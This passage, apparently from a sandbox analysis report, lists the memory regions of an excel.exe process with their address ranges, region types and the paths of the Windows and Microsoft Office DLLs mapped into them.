"c:\\windows\\system32\\oleaccrc.dll") Region: id = 313 start_va = 0x7ec0000 end_va = 0x7ec1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007ec0000" filename = "" Region: id = 314 start_va = 0x7ed0000 end_va = 0x7ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007ed0000" filename = "" Region: id = 315 start_va = 0x7ee0000 end_va = 0x7ee1fff entry_point = 0x7ee0000 region_type = mapped_file name = "mssvp.dll.mui" filename = "\\Windows\\System32\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mssvp.dll.mui") Region: id = 316 start_va = 0x7ef0000 end_va = 0x7efffff entry_point = 0x0 region_type = private name = "private_0x0000000007ef0000" filename = "" Region: id = 317 start_va = 0x7f00000 end_va = 0x7f01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f00000" filename = "" Region: id = 318 start_va = 0x7f10000 end_va = 0x7f10fff entry_point = 0x0 region_type = private name = "private_0x0000000007f10000" filename = "" Region: id = 319 start_va = 0x7f20000 end_va = 0x7f21fff entry_point = 0x0 region_type = private name = "private_0x0000000007f20000" filename = "" Region: id = 320 start_va = 0x7f30000 end_va = 0x7f38fff entry_point = 0x0 region_type = private name = "private_0x0000000007f30000" filename = "" Region: id = 321 start_va = 0x7f40000 end_va = 0x7f42fff entry_point = 0x0 region_type = private name = "private_0x0000000007f40000" filename = "" Region: id = 322 start_va = 0x7f50000 end_va = 0x7f52fff entry_point = 0x0 region_type = private name = "private_0x0000000007f50000" filename = "" Region: id = 323 start_va = 0x7ff0000 end_va = 0x7ffffff entry_point = 0x0 region_type = private name = "private_0x0000000007ff0000" filename = "" Region: id = 324 start_va = 0x8000000 end_va = 0x8400fff entry_point = 0x0 region_type = private name = "private_0x0000000008000000" filename = "" Region: id = 325 start_va = 0x8410000 end_va = 0x8810fff entry_point = 0x0 region_type = private name = "private_0x0000000008410000" filename = "" Region: id = 326 start_va = 0x8820000 end_va = 0x8c20fff entry_point = 0x0 region_type = private name = "private_0x0000000008820000" filename = "" Region: id = 327 start_va = 0x8c30000 end_va = 0x955ffff entry_point = 0x8c30000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 328 start_va = 0x9560000 end_va = 0x975ffff entry_point = 0x0 region_type = private name = "private_0x0000000009560000" filename = "" Region: id = 329 start_va = 0x9760000 end_va = 0xa760fff entry_point = 0x0 region_type = private name = "private_0x0000000009760000" filename = "" Region: id = 330 start_va = 0xa770000 end_va = 0xaa00fff entry_point = 0x0 region_type = private name = "private_0x000000000a770000" filename = "" Region: id = 331 start_va = 0xaa10000 end_va = 0xae0ffff entry_point = 0x0 region_type = private name = "private_0x000000000aa10000" filename = "" Region: id = 332 start_va = 0xae10000 end_va = 0xbddffff entry_point = 0x0 region_type = private name = "private_0x000000000ae10000" filename = "" Region: id = 333 start_va = 0xbe00000 end_va = 0xbefffff entry_point = 0x0 region_type = private name = "private_0x000000000be00000" filename = "" Region: id = 334 start_va = 0xbfc0000 end_va = 0xc0bffff entry_point = 0x0 region_type = private name = "private_0x000000000bfc0000" filename = "" Region: id = 335 start_va = 0xc170000 end_va = 0xc26ffff entry_point = 0x0 region_type = private name = "private_0x000000000c170000" filename = "" Region: id = 336 start_va = 0xc360000 end_va = 0xc45ffff entry_point = 0x0 region_type = private name = "private_0x000000000c360000" filename = "" Region: id = 337 start_va = 0xc480000 end_va = 0xc57ffff entry_point = 0x0 region_type = private name = "private_0x000000000c480000" filename = "" Region: id = 338 start_va = 0xc580000 end_va = 0xc67ffff entry_point = 0x0 region_type = private name = "private_0x000000000c580000" filename = "" Region: id = 339 start_va = 0xc6a0000 end_va = 0xc6affff entry_point = 0x0 region_type = private name = "private_0x000000000c6a0000" filename = "" Region: id = 340 start_va = 0xc700000 end_va = 0xc7fffff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 341 start_va = 0xc800000 end_va = 0xca1cfff entry_point = 0xc800000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 342 start_va = 0xca60000 end_va = 0xcb5ffff entry_point = 0x0 region_type = private name = "private_0x000000000ca60000" filename = "" Region: id = 343 start_va = 0xcb60000 end_va = 0xcd03fff entry_point = 0x0 region_type = private name = "private_0x000000000cb60000" filename = "" Region: id = 344 start_va = 0xcd50000 end_va = 0xce4ffff entry_point = 0x0 region_type = private name = "private_0x000000000cd50000" filename = "" Region: id = 345 start_va = 0xce60000 end_va = 0xcf5ffff entry_point = 0x0 region_type = private name = "private_0x000000000ce60000" filename = "" Region: id = 346 start_va = 0xcf70000 end_va = 0xcfeffff entry_point = 0x0 region_type = private name = "private_0x000000000cf70000" filename = "" Region: id = 347 start_va = 0xd080000 end_va = 0xd17ffff entry_point = 0x0 region_type = private name = "private_0x000000000d080000" filename = "" Region: id = 348 start_va = 0xd190000 end_va = 0xd28ffff entry_point = 0x0 region_type = private name = "private_0x000000000d190000" filename = "" Region: id = 349 start_va = 0xd290000 end_va = 0xd48ffff entry_point = 0x0 region_type = private name = "private_0x000000000d290000" filename = "" Region: id = 350 start_va = 0xd490000 end_va = 0xd58ffff entry_point = 0x0 region_type = private name = "private_0x000000000d490000" filename = "" Region: id = 351 start_va = 0xd630000 end_va = 0xd72ffff entry_point = 0x0 region_type = private name = "private_0x000000000d630000" filename = "" Region: id = 352 start_va = 0xd760000 end_va = 0xd85ffff entry_point = 0x0 region_type = private name = "private_0x000000000d760000" filename = "" Region: id = 353 start_va = 0xd980000 end_va = 0xda7ffff entry_point = 0x0 region_type = private name = "private_0x000000000d980000" filename = "" Region: id = 354 start_va = 0xdbb0000 end_va = 0xdcaffff entry_point = 0x0 region_type = private name = "private_0x000000000dbb0000" filename = "" Region: id = 355 start_va = 0x37a30000 end_va = 0x37a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000037a30000" filename = "" Region: id = 356 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 357 start_va = 0x751b0000 end_va = 0x751e2fff entry_point = 0x751b0000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 358 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 359 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 360 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 361 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 362 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 363 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 364 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 365 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 366 start_va = 0x13f4a0000 end_va = 0x142143fff entry_point = 0x13f4a0000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 367 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 368 start_va = 0x7febfb90000 end_va = 0x7febfb9ffff entry_point = 0x0 region_type = private name = "private_0x000007febfb90000" filename = "" Region: id = 369 start_va = 0x7fee66c0000 end_va = 0x7fee66e6fff entry_point = 0x7fee66c0000 region_type = mapped_file name = "ehstorapi.dll" filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll") Region: id = 370 start_va = 0x7fee66f0000 end_va = 0x7fee6960fff entry_point = 0x7fee66f0000 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 371 start_va = 0x7fee6970000 end_va = 0x7fee69e2fff entry_point = 0x7fee6970000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 372 start_va = 0x7fee69f0000 end_va = 0x7fee6a11fff entry_point = 0x7fee69f0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 373 start_va = 0x7fee6a20000 end_va = 0x7fee6a29fff entry_point = 0x7fee6a20000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 374 start_va = 0x7fee6a30000 end_va = 0x7fee6a4afff entry_point = 0x7fee6a30000 region_type = mapped_file name = "mapi32.dll" filename = "\\Windows\\System32\\mapi32.dll" (normalized: "c:\\windows\\system32\\mapi32.dll") Region: id = 375 start_va = 0x7fee6a50000 end_va = 0x7fee6b11fff entry_point = 0x7fee6a50000 region_type = mapped_file name = "mssvp.dll" filename = "\\Windows\\System32\\mssvp.dll" (normalized: "c:\\windows\\system32\\mssvp.dll") Region: id = 376 start_va = 0x7fee6b20000 end_va = 0x7fee6b9afff entry_point = 0x7fee6b20000 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 377 start_va = 0x7fee6ba0000 end_va = 0x7fee6bcafff entry_point = 0x7fee6ba0000 region_type = mapped_file name = "wxpnse.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll") Region: id = 378 start_va = 0x7fee6bd0000 end_va = 0x7fee6bebfff entry_point = 0x7fee6bd0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 379 start_va = 0x7fee6c10000 end_va = 0x7fee6c19fff entry_point = 0x7fee6c10000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 380 start_va = 0x7fee6c20000 end_va = 0x7fee6c74fff entry_point = 0x7fee6c20000 region_type = mapped_file name = "msohevi.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohevi.dll") Region: id = 381 start_va = 0x7fee6c80000 end_va = 0x7fee6c95fff entry_point = 0x7fee6c80000 region_type = mapped_file name = "msoxev.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxev.dll") Region: id = 382 start_va = 0x7fee71a0000 end_va = 0x7fee7618fff entry_point = 0x7fee71a0000 region_type = mapped_file name = "gfx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll") Region: id = 383 start_va = 0x7fee7620000 end_va = 0x7fee76bffff entry_point = 0x7fee7620000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 384 start_va = 0x7fee76c0000 end_va = 0x7fee771bfff entry_point = 0x7fee76c0000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll") Region: id = 385 start_va = 0x7fee7720000 end_va = 0x7fee7974fff entry_point = 0x7fee7720000 region_type = mapped_file name = "ivy.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll") Region: id = 386 start_va = 0x7fee7980000 end_va = 0x7fee8755fff entry_point = 0x7fee7980000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 387 start_va = 0x7fee8760000 end_va = 0x7fee96e4fff entry_point = 0x7fee8760000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 388 start_va = 0x7fee96f0000 end_va = 0x7fee9809fff entry_point = 0x7fee96f0000 region_type = mapped_file name = "adal.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll") Region: id = 389 start_va = 0x7fee9810000 end_va = 0x7fee9aaafff entry_point = 0x7fee9810000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 390 start_va = 0x7fee9bd0000 end_va = 0x7fee9d4dfff entry_point = 0x7fee9bd0000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 391 start_va = 0x7fee9d50000 end_va = 0x7fee9de8fff entry_point = 0x7fee9d50000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 392 start_va = 0x7fee9df0000 end_va = 0x7fee9f8cfff entry_point = 0x7fee9df0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 393 start_va = 0x7fee9f90000 end_va = 0x7feea055fff entry_point = 0x7fee9f90000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 394 start_va = 0x7feea060000 end_va = 0x7feea22ffff entry_point = 0x7feea060000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 395 start_va = 0x7feea230000 end_va = 0x7feee616fff entry_point = 0x7feea230000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 396 start_va = 0x7feee620000 end_va = 0x7feef314fff entry_point = 0x7feee620000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 397 start_va = 0x7feef320000 end_va = 0x7feef75cfff entry_point = 0x7feef320000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 398 start_va = 0x7feef760000 end_va = 0x7fef118bfff entry_point = 0x7feef760000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 399 start_va = 0x7fef1190000 end_va = 0x7fef1e36fff entry_point = 0x7fef1190000 region_type = mapped_file name = "mso98win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll") Region: id = 400 start_va = 0x7fef1e40000 end_va = 0x7fef290efff entry_point = 0x7fef1e40000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 401 start_va = 0x7fef2910000 end_va = 0x7fef2ff3fff entry_point = 0x7fef2910000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 402 start_va = 0x7fef3000000 end_va = 0x7fef34a2fff entry_point = 0x7fef3000000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 403 start_va = 0x7fef34b0000 end_va = 0x7fef3586fff entry_point = 0x7fef34b0000 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 404 start_va = 0x7fef35f0000 end_va = 0x7fef365efff entry_point = 0x7fef35f0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 405 start_va = 0x7fef3660000 end_va = 0x7fef3741fff entry_point = 0x7fef3660000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 406 start_va = 0x7fef3750000 end_va = 0x7fef37dafff entry_point = 0x7fef3750000 region_type = mapped_file name = "mso50win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll") Region: id = 407 start_va = 0x7fef3ed0000 end_va = 0x7fef3f23fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 408 start_va = 0x7fef3f30000 end_va = 0x7fef4ae6fff entry_point = 0x7fef3f30000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 409 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 410 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 411 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 412 start_va = 0x7fef5680000 end_va = 0x7fef5745fff entry_point = 0x7fef5680000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 413 start_va = 0x7fef57f0000 end_va = 0x7fef58acfff entry_point = 0x7fef57f0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 414 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 415 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 416 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 417 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 418 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 419 start_va = 0x7fef82d0000 end_va = 0x7fef830afff entry_point = 0x7fef82d0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 420 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 421 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 422 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 423 start_va = 0x7fef87a0000 end_va = 0x7fef893bfff entry_point = 0x7fef87a0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 424 start_va = 0x7fef8970000 end_va = 0x7fef89eefff entry_point = 0x7fef8970000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 425 start_va = 0x7fef89f0000 end_va = 0x7fef8a2afff entry_point = 0x7fef89f0000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 426 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 427 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 428 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 429 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 430 start_va = 0x7fef8f60000 end_va = 0x7fef904dfff entry_point = 0x7fef8f60000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 431 start_va = 0x7fef90f0000 end_va = 0x7fef9100fff entry_point = 0x7fef90f0000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 432 start_va = 0x7fef92e0000 end_va = 0x7fef931afff entry_point = 0x7fef92e0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 433 start_va = 0x7fef9320000 end_va = 0x7fef933efff entry_point = 0x7fef9320000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 434 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 435 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 436 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 437 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 438 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 439 start_va = 0x7fef98c0000 end_va = 0x7fef9914fff entry_point = 0x7fef98c0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 440 start_va = 0x7fef9920000 end_va = 0x7fef9953fff entry_point = 0x7fef9920000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: 